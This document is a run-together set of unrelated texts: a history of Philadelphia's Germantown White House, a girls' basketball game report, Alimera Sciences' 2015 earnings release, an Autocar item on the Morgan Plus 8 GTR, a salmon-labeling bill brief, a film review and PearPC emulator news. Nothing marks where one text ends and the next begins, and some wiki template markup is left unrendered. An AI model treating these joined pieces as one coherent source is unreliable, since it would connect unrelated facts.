Deshler, a merchant, bought a {convert|2|acre|m2|sing=on} lot from George and Anna Bringhurst in 1751-52, and constructed a four-room summer cottage. Twenty years later he built a 3-story, 9-room addition to the front, creating one of the most elegant homes in the region.
Isaac Franks, a former colonel in the Continental Army, bought the house following Deshler's 1792 death. It was he who rented it to President Washington.
Later, the house was sold to Elliston and John Perot, and in 1834 to Elliston's son-in-law, Samuel B. Morris. The Morris family lived in the house for over a hundred years, before its 1948 donation to the National Park Service.
===Revolutionary War===
On October 4, 1777, it was a scene of fighting in the Battle of Germantown, after which British General Sir William Howe occupied the house.
When the Yellow Fever Epidemic of 1793 struck Philadelphia, President Washington remained in the city until September, before making his regular autumn trip home to Mount Vernon. He and a small group of servants returned in early November, but Philadelphia was under quarantine and they were rerouted to Germantown, then ten miles (16 km) outside the city.
He first occupied the Dove House, the headmaster's residence for Germantown Academy (now extensively altered and part of Pennsylvania School for the Deaf). He also traveled to Reading, Pennsylvania, 60 miles (96 km) northwest of the city, to see if it would make a suitable emergency capital.
Returning to Germantown, from November 16 to 30, he occupied the Isaac Franks house. His wife Martha, two of her grandchildren, Eleanor Parke Custis and George Washington Parke Custis, and more of their servants and staff joined him late in the stay.
The following September and October, Washington and his family returned to the Franks house for vacation, although he left early to deal with the Whiskey Rebellion in Western Pennsylvania. He met there four times with his cabinet: Secretary of State Thomas Jefferson, Secretary of Treasury Alexander Hamilton, Attorney General Edmund Randolph, and Secretary of War Henry Knox. The President posed for painter Gilbert Stuart, who kept a studio nearby, and the family attended the German Reformed Church across the square.
Four enslaved servants were held by the Washingtons at the Franks house: Oney Judge, Austin (her brother), Moll, and Hercules.
==Preservation==
The house is administered by Independence National Historical Park and operated by the Volunteers of the Deshler-Morris House Committee, Inc. The house was listed on the National Register of Historic Places in 1972 and it is a contributing property of the Colonial Germantown Historic District.
In 2009, the National Park Service changed the official name from the "Deshler-Morris House" to the "Germantown White House."
==Bringhurst House==
The Bringhurst House, neighboring the Germantown White House on the northwest, was originally owned by John Bringhurst (February 19, 1725 – March 18, 1795), a carriage builder and inventor of the "Germantown Wagon"; in 1780 he built a carriage for George Washington. His estate consisted of {convert|19|acre|m2} in Germantown, and was eventually split up by his heirs. Today, near the current historic site, "Bringhurst Street" is a street named after him which lies on the edge of his former land.
Lieutenant Colonel John Bird was "lying sick" in the Bringhurst House when the American army attacked on the morning of October 4, 1777. Bird arose from bed to lead his men, but was mortally wounded in the battle. Although a surgeon tried to treat him in Melchoir Meng's house situated on what is now a part of Vernon Park, he was carried back to the Bringhurst House, where he died.
In 1973, the Bringhurst house was donated to the National Park Service from the Germantown Savings Bank in order to "assure access, light, and air for the historic structure". The Bringhurst property is currently in the process of conversion into an exhibition space and welcome center for the Germantown White House landscape.

STEVENS POINT – Taylor Beadles didn't expect to get the ball as the Stevens Point Area Senior High girls basketball team set up for the final shot.
But when Sarah Warner's layup rolled off the rim, Abby Bohanski, who is listed at 5-foot 4 on the roster, grabbed the rebound.
She fired the ball to Beadles who was waiting on the far wing who got the shot off before the backboard lit up. Beadles shot was pure, never touching the rim and giving the Panthers a 52-49 nonconference win Tuesday night at the SPASH Fieldhouse. When Beadles' shot fell, she was swarmed by her teammates and members of the student section also rushed the floor.
"I was really surprised to get the ball," said Beadles, who finished with 11 points. "Abby went up for that rebound hard and I'm not sure how she got the ball out to me.
Rhinelander senior Kylie Hunter made a short jump shot with 59 seconds left to play, which tied the game at 49-49. When the Panthers crossed the the time line, they put the ball in Warner's hands to run the final play.
Warner ran the clock down to nine seconds before making her move to the basket. Before her shot went up, Bohanski was in position for a potential rebound.
During a 2-minute stretch in the third quarter Bohanski scored seven points to give the Panthers a 45-40 lead going into the fourth quarter.
Bohanski picked up her fourth foul early in the third quarter and came off the bench to make her scoring run.
RHINELANDER (49): Megan Haug 2, Kaly Kostrova 12, Eva O'Melia 3, Kylie Hunter 18, Brianna Gilbert 12, Ali Schickert 2.
SPASH (52): Taylor Beadles 11, Sarah Warner 9, Abby Bohanski 17, Sydney Neal 3, Morgan Drake 3, Maggie Negaard 3, Brooke Brandt 5.
3-pointers: R 4 (Kostrova 2, O'Melia, Hunter); SP 9 (Beadles 3, Bohanski 3, Drake, Negaard, Brandt).

ATLANTA, March 02, 2016 (GLOBE NEWSWIRE) -- Alimera Sciences, Inc. (NASDAQ:ALIM) (Alimera), a pharmaceutical company that specializes in the research, development and commercialization of prescription ophthalmic pharmaceuticals, today announced record top-line financial results for the fourth quarter and year ended December 31, 2015.
"We are pleased with our growth in 2015, finishing the year 167% above 2014 revenue. During 2015, we launched ILUVIEN in the U.S. and Portugal and re-launched our German business, re-establishing the sales levels of the summer of 2014. Global sales in 2015 were $22.4 million, in line with expectations set on our third quarter 2015 earnings call," said Dan Myers, Alimera's Chief Executive Officer. "In the fourth quarter of 2015, we saw further expansion of our customer base in the U.S. and received positive news with the granting of the J-code for ILUVIEN. With this expansion, and an encouraging performance in Germany and Portugal, we look forward to further growth in 2016. Additionally, we expanded our platform for future growth with the addition of a distribution partnership in the Middle East."
Consolidated net revenue increased by approximately $4.1 million, or 241%, to approximately $5.8 million for the three months ended December 31, 2015, compared to net revenue of approximately $1.7 million for the three months ended December 31, 2014. Consolidated net revenue increased by approximately $14.0 million, or 167%, to approximately $22.4 million for the year ended December 31, 2015, compared to net revenue of approximately $8.4 million for the year ended December 31, 2014. These increases were primarily driven by increased sales of ILUVIEN in the U.S. following its launch in the U.S. in the first quarter of 2015.
Fourth quarter 2015 revenues were affected by typical seasonality, as well as some U.S. accounts deferring treatment of patients into 2016 to take advantage of the newly announced J-code for ILUVIEN. Alimera believes that the specific J-code reimbursement will drive additional use and reduce some reimbursement concerns from U.S. practices in 2016.
U.S. net revenue was $3.9 million in the fourth quarter of 2015. For the year ended December 31, 2015, U.S. net revenue was approximately $15.2 million. U.S. net revenue in 2015 was a result of the commercial launch and use of ILUVIEN by U.S. retinal physicians. There were no significant ILUVIEN sales in the U.S. in 2014.
International net revenue increased by approximately $200,000, or 12%, to approximately $1.9 million for the three months ended December 31, 2015, compared to approximately $1.7 million for the three months ended December 31, 2014. The increase was primarily attributable to increased unit sales in Germany compared to the prior year, offset by lower sales in the UK and the impact of decreases in the value of the British pound sterling and the Euro.
International net revenue decreased by approximately $1.1 million, or 13%, to approximately $7.3 million for the year ended December 31, 2015, compared to approximately $8.4 million for the year ended December 31, 2014. The decrease was primarily attributable to a decrease in German unit sales and decreases in the value of the British pound sterling and the Euro, offset by incremental sales associated with the commercial launch of ILUVIEN in Portugal in 2015.
Consolidated gross profit increased by $3.8 million, or 238%, to approximately $5.4 million for three months ended December 31, 2015, compared to approximately $1.6 million for the three months December 31, 2014. Gross margin was 93% and 94% for the three months ended December 31, 2015 and 2014, respectively. Consolidated gross profit increased by $13.7 million, or 196%, to $20.7 million for year ended December 31, 2015, compared to approximately $7.0 million for the year ended December 31, 2014. Gross margin was 92% and 83% for the years ended December 31, 2015 and 2014, respectively.
Consolidated research, development and medical affairs expenses for the fourth quarter of 2015 increased to approximately $3.6 million, compared to approximately $3.0 million during the fourth quarter of 2014. Consolidated research, development and medical affairs expenses for fiscal year 2015 increased to approximately $14.8 million, compared to $11.8 million during fiscal year 2014. These increases were primarily due to the hiring of medical sales liaisons and expanded scientific and medical communication in 2015 to support the U.S. commercial launch of ILUVIEN and ongoing post-marketing studies of ILUVIEN.
Consolidated general and administrative expenses remained flat for the fourth quarter of 2015 compared to the fourth quarter of 2014 at $3.7 million. Consolidated general and administrative expenses for year ended 2015 increased to approximately $14.2 million, compared to approximately $12.4 million during fiscal year 2014. This increase is due to the growth in the Alimera's infrastructure to support its global business.
Consolidated sales and marketing expenses increased $1.8 million, or 34%, to approximately $7.1 million for the three months ended December 31, 2015, compared to approximately $5.3 million for the three months ended December 31, 2014. Consolidated sales and marketing expenses increased $13.0 million, or 86%, to approximately $28.1 million for the year ended December 31, 2015, compared to approximately $15.1 million for the year ended December 31, 2014. This increase in expense was primarily related to Alimera's investment in the U.S. commercial team that supported the launch of ILUVIEN in the U.S.
Alimera's GAAP net loss applicable to common stockholders for the three months ended December 31, 2015 was approximately $10.7 million, compared to approximately $10.0 million for the three months ended December 31, 2014. GAAP basic and diluted net loss per share for the fourth quarter of 2015 was $(0.24) per share on 44,616,666 weighted average shares outstanding, compared with GAAP basic and diluted net loss per share of $(0.23) per share on 44,296,485 weighted average shares outstanding during the fourth quarter of 2014. Alimera's GAAP net loss applicable to common stockholders for the year ended December 31, 2015 was approximately $30.6 million, compared to approximately $36.7 million for the year ended December 31, 2014. GAAP basic and diluted net loss per share for year ended 2015 was $(0.69) per share on 44,450,216 weighted average shares outstanding, compared with GAAP basic and diluted net loss per share of $(0.91) per share on 40,397,224 weighted average shares outstanding during the year ended December 31, 2014. The GAAP net loss attributable to common stockholders and GAAP basic and diluted net loss per share were affected by certain non-cash items, including unrealized foreign currency gains and losses, loss on the early extinguishment of debt, accretion of a preferred stock beneficial conversion feature, changes in the fair value of a derivative warrant liability and reserves for potential inventory expiration.
Non-GAAP adjusted net loss attributable to common stockholders for the three months ended December 31, 2015 was approximately $10.7 million, compared to a non-GAAP adjusted net loss attributable to common stockholders for the three months ended December 31, 2014 of approximately $12.2 million. Non-GAAP adjusted basic and diluted loss per share for the three months ended December 31, 2015 and 2014 were $(0.24) per share and $(0.27) per share, respectively. Net loss for basic and diluted weighted average shares outstanding attributable to common stockholders per share and non-GAAP adjusted net loss attributable to common stockholders per share was based on 44,616,666 weighted average shares outstanding for the three months ended December 31, 2015 and 44,296,485 weighted average shares outstanding for the three months ended December 31, 2014.
Non-GAAP adjusted net loss attributable to common stockholders for the year ended December 31, 2015 was approximately $43.4 million, compared to a non-GAAP adjusted net loss attributable to common stockholders for the year ended December 31, 2014 of approximately $34.4 million. Non-GAAP adjusted basic and diluted loss per share for the three months ended December 31, 2015 and 2014 were $(0.98) per share and $(0.85) per share, respectively. Net loss for basic and diluted weighted average shares outstanding attributable to common stockholders per share and non-GAAP adjusted net loss attributable to common stockholders per share was based on 44,450,216 weighted average shares outstanding for the year ended December 31, 2015 and 40,397,224 weighted average shares outstanding during the year ended December 31, 2014.
Reconciliations of GAAP cost of goods sold to non-GAAP adjusted costs of goods sold, GAAP net loss attributable to common stockholders to non-GAAP adjusted net loss attributable to common stockholders and GAAP net loss per share to non-GAAP adjusted net loss per share is included below in the table titled "Reconciliation of GAAP Measures to Non-GAAP Adjusted Measures."
As of December 31, 2015, Alimera had cash and cash equivalents of $31.1 million. Due to less than expected sales of ILUVIEN in January and February of 2016, Alimera is not currently in compliance with the revenue covenants of its debt facility with Hercules Technology Growth Capital, Inc. (Hercules). Alimera and Hercules are currently in discussions regarding an amendment to the debt facility which would bring Alimera into compliance with the revenue covenant. Hercules has not accelerated or otherwise made demand for any amounts owing under the debt facility. Alimera currently anticipates completing this amendment prior to the filing later this month of its Annual Report on Form 10-K for the year ended December 31, 2015.
An accompanying conference call will be hosted by Dan Myers, Chief Executive Officer and Rick Eiswirth, President and Chief Financial Officer to discuss the results. The call will be held at 10:00 AM ET, on March 3, 2016. Please refer to the information below for conference call dial-in information and webcast registration.
Alimera believes the metrics non-GAAP adjusted cost of goods sold, non-GAAP adjusted net loss attributable to common stockholders and non-GAAP adjusted net loss per share are useful financial measures for investors in evaluating Alimera's performance for the periods presented. Non-GAAP adjusted net loss attributable to common stockholders and non-GAAP adjusted net loss per share exclude certain non-cash items. These non-GAAP metrics, however, are not measures of financial performance under GAAP and should not be considered a substitute for net loss attributable to common stockholders or net loss per share in accordance with GAAP and may not be comparable to similarly titled measures reported by other companies. Alimera's management believes that these non-GAAP metrics are useful supplements for it and investors to Alimera's GAAP financial information because these measures exclude non-cash items which management believes are not reflective of Alimera's operating results. These non-GAAP financial measures also facilitate management's internal comparison to Alimera's historical financial performance and the financial performance of other companies. However, non-GAAP financial measures should only be read in conjunction with financial information reported under GAAP when understanding Alimera's operating performance. For a reconciliation of these non-GAAP financial measures to their most directly comparable GAAP financial measure, see the table below.
This press release contains "forward-looking statements," within the meaning of the Private Securities Litigation Reform Act of 1995, regarding, among other things, the ability of the ILUVIEN J-code to drive use and market acceptance of ILUVIEN, the opportunity for further growth in 2016 for ILUVIEN, Alimera's ability to reach agreement with Hercules on an amendment to bring Alimera in compliance with its revenue covenant under the debt facility and Alimera's ability to complete an amendment with Hercules before Alimera files its Annual Report on Form 10-K for the year ended December 31, 2015.

New Morgan Plus 8 GTR is exclusive V8 special edition
30 November 2021 - autocar
Production of special-edition Morgan Plus 8 GTR is limited to nine examples
Morgan has publicly shown its Morgan Plus 8 GTR for the first time, a nine-strong special edition of a car which officially bowed out three years ago.
Morgan says the GTR is a "gloves off" version of the Plus 8, with the project made possible after several chassis earmarked for an external project, believed to be the Bristol cars revival, were reacquired.
The first finished car was on display at Bicester Heritage's 'Undercover Assembly' yesterday, and is destined for a Danish customer. The other eight cars will be finished during the next three months or so. Each will undergo an Individual Vehicle Approval test to be certified road legal.
Power comes from a 4.8-litre BMW N62 V8, although Morgan suggested that output from the recommissioned units would be higher than the 362bhp achieved in their original specification. Six-speed manual and automatic transmissions will be offered, as well as left- or right-hand drive, although allocations for these are fixed for the production run based on the existing chassis.
The chassis are completely unused, having been built by Morgan before 2018. The company says some mechanical components have been upgraded for use in the Plus 8 GTR.
"Reviving a V8-powered Morgan at the current time may not seem like the obvious choice for a manufacturer firmly focused on new platforms and powertrains," said Morgan's head of design, Jonathan Wells. "However, when the opportunity presented itself to recommission a number of rolling chassis and create an exciting special project such as Plus 8 GTR, we embraced it fully.
"This project has allowed Morgan's design and engineering teams to revisit some of their favourite elements of past Morgan models, as well as experiment with some features that we hope will appear on future Morgan cars."
Morgan's design and engineering teams have been told to "let their imaginations run wild" for the GTR, with inspiration coming from the 'Big Blue' GT series racer of the 1990s. That vehicle was used as a test bed for the bonded-aluminium chassis tech that later replaced Morgan's traditional steel chassis in 2004.
The GTR has new doors with a high shoulder line "not seen on a traditional Morgan body for decades". The wheel arches have been re-sculpted and the five-spoke centre-lock wheels are a nod to the Plus 8's racing heritage. There is a larger diffuser on the rear end, new front wings with vents for the first time and a large front splitter, with a new hard-top replacing the original fabric item.
Every example of the GTR will be handcrafted using traditional coachbuilding techniques, but in a break from tradition, production will take place at the Morgan Design and Engineering Centre (M-DEC) rather than at the Pickersleigh Road factory.
Customers have been given the chance to create a bespoke Plus 8 GTR with the help of Morgan's design team.

She argues current guidelines confuse customers.
Alaska's senior US Senator Lisa Murkowski re-introduced a bill in Washington, D.C. Tuesday that would require any genetically engineered salmon to be clearly labeled as such, reports the Juneau Empire. She has tried to pass similar legislation since July 2017.
The Genetically Engineered Salmon Labeling Act would require genetically engineered salmon products in the US market to be clearly labeled "genetically engineered" in the market name. Last month, the USDA published labeling guidelines for genetically engineered foods, including GE salmon, with requirements that Murkowski claims could confuse consumers.
"USDA's new guidelines don't require mandatory labeling, and instead allows producers to use QR codes or 1-800 numbers, which is a far stretch from giving consumers clear information," Murkowski said in a press release.
The bill is co-sponsored by Alaska's junior Sen. Dan Sullivan, Maria Cantwell, D-Washington, and Jeff Merkley, D-Oregon.

Leave a Comment	/ At Home / By Jennifer, Pie Pal
Directed by and starring Russell Crowe, The Water Diviner is an ambitious film that incorporates elements of romance, adventure, tragedy, action, and drama. You could simply call it a war movie, but really, the main thing you need to know is that The Water Diviner is about a grieving man with frying pan hands.
Connor (Crowe) is, as the title suggests, a water diviner in the Australian Outback. He's rugged and strong, adept at making something out of nothing, but sometimes life leaves even the most resourceful individuals with too little to work with. His three sons never returned from World War I's infamous Battle of Gallipoli, his wife's sanity, consequently, hangs by a thread, and every day he asks himself why he encouraged his boys to serve their country over something so pointless. After unexpectedly losing his wife, Connor realizes there is nothing left there but guilt and ghosts. Why not walk away from it all and attempt the impossible task of finding his boys?
Quite uninvited, Connor makes the journey to Turkey with the intent of searching for his sons' bodies and bringing them home to Australia. Though a recovery effort is already underway, no civilians (and certainly no foreigners) are allowed onto the battleground. Nothing remains but rubble and corpses, a haunting nightmare of senseless carnage.
Connor himself is an inexperienced but determined traveler, perhaps aided by his own naivete. When he reaches an obstacle, he simply looks for a crack in the wall and skitters through it. He is quickly befriended by a funny, ambitious little boy who literally drags Connor to his mother's hotel. Though not pleased to have an Australian under her roof, Ayshe (Olga Kurylenko) allows Connor to stay. Steeped in denial about her own husband's disappearance, Ayshe soon learns that she and Connor have a great deal in common.
From this point forward, the film unfolds in a variety of unexpected directions. By making and utilizing a series of tenuous connections with locals, Connor manages one small victory after another. The setbacks are many, but with nothing to lose, Connor persists and comes away with the ultimate reward. At times it's difficult to read the tone and direction of The Water Diviner, but the film does stay on track and builds to a moving conclusion. Considering the monumental task Crowe faced in carrying the movie, it's impressive that he was able to capture the atmosphere of an epic while remaining focused on the emotional center of the story.
Special features include "The Making of The Water Diviner" and "The Battle of Gallipoli", which looks back at the historic battle on its 100th anniversary. If it's been awhile since you've studied Gallipoli and you're rusty on the details, it's probably helpful to watch the featurette before the movie for context.

Due to the concerns/questions/comments of PearPC's CVS status I have decided to create a website to archive and post the ppc.exe files from CVS. Check Here for more information.
"Yesterday evening at 23:00 one of my best friends, one of my best critics, one of the most valuable programmers of PearPC, the one who could help me in all situations, the one with whom I had the best time of my life, died after getting hit by a train.
Stefan 'steveman' Weyergraf – Rest In Peace. We'll never forget you.
I'll continue PearPC. But I need some time to understand this dramatic accident.
From the staff at E-Maculation to the family and friends, our prayers and deepest condolences in your loss.
Anonymous writes "The source code for MACE (now re-named "Re84") is available for download at spinther.com. For those wanting a head start on compiling, all I can recommend is to start with Symantec. As I posted before, MACE is an emulation /layer/ for the original toaster macs which runs under Windows much like WINE under Linux.
Our old arch-rival Duckie "The Real Duckie" Duckie is running Mac OS 10.4 (Tiger) in PearPC. Check out the results over here.
Our man Gwenole noted on the Basilisk II development list, that he has placed some new files on his site.
Sebastian Biallas made a note of the emulator's status on the official mailing list. Check out the contents over here.
Thanks to dajudge native CD-Rom support is now possible. Check out this post Here for more information.
Shocking news: Marc "OS Emulation Homepage" Hoffman, long thought to be missing in action is, in fact, still in action. And he wants everyone to visit his new Pear PC tutorial site.
Also, he wrote a book.
Also, everyone be sure to visit the PearPC Information Station. It started out as a home for PearPC executables made available by our own "CyberMagellan," but has since become a prime site for PearPC coolness.
Well we all love to post screenshots right?
With the following information: Nick, and a brief explanation of your screenshot.
